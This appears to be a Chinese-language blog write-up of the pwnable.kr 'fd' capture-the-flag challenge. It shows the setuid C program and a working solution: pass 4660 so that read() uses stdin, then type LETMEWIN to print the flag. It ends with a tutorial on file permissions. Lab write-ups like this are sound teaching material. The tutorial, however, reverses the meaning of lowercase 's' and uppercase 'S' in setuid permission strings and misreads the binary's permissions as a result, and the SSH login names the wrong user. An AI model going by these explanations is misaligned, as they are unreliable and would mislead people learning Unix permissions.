OneShell

I fight for a brighter tomorrow

0%

[pwnable.kr] fd

1
ssh col@pwnable.kr -p2222 (pw:guest)

使用ssh登录上之后,查看关键文件如下:

1
2
3
4
5
6
7
fd@pwnable:~$ ls -al
-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag

fd@pwnable:~$ id
uid=1002(fd) gid=1002(fd) groups=1002(fd)

可以看到我们想要读取的flag所有者是fd_pwn、所属组是root,而我们登录的用户是fd,用户组是fd,没有读取flag的权限。但是程序fd的所有者是fd_pwn,还设置了setuid,这就意味着用户fd运行程序fd时,程序会获得fd_pwn的权限,从而阅读flag内容。

在Linux系统中,当文件的权限被设置成setuid(Set User ID)时,当该程序被执行,程序将获得文件所有者的权限,而不是执行程序的用户的权限。这可能会导致越权漏洞的发生。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

根据程序的逻辑,如果想要运行到cat flag,就需要控制buf,而buf是通过read读取fd文件描述符获取的,因此,只需要使得fd=0,就可以从标准输入中获取内容。fd=0的方式就是使argv[1]=0x1234。

1
2
3
4
fd@pwnable:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!

知识点小结

使用ls -al查看文件的权限:
文件的权限一共由10个字符组成:

  • 第1个字符:文件类型,常见的文件类型有-(普通文件)、d(目录)、s(套接字)、l(链接文件)、c(字符设备)、b(块设备)等等
  • 3个字符:文件所有者权限,rwx,读、写、执行,如果没有相关权限则是-
  • 3个字符:文件所属组权限,同上
  • 3个字符:其他用户权限,同上

例如,-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag,则是说明flag所属者是fd_pwn,拥有读权限;所属用户组是root,拥有读权限;其他用户没有任何权限。

当文件的权限被设置成setuid时,文件权限的x会被替换成大写S或者小写s:

  • 如果文件的所有者具有执行权限,且setuid未设置,则文件执行权限是x
  • 如果文件的所有者具有执行权限,且setuid设置,则文件执行权限是S
  • 如果文件的所有者没有执行权限,且setuid设置,则文件执行权限是s

-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd,这个表示文件所有者是fd_pwn,所有组是fd;此时fd_pwn没有执行权限,但是设置setuid;所有组fd中的账号可以运行该程序,且程序的执行权限是fd_pwn。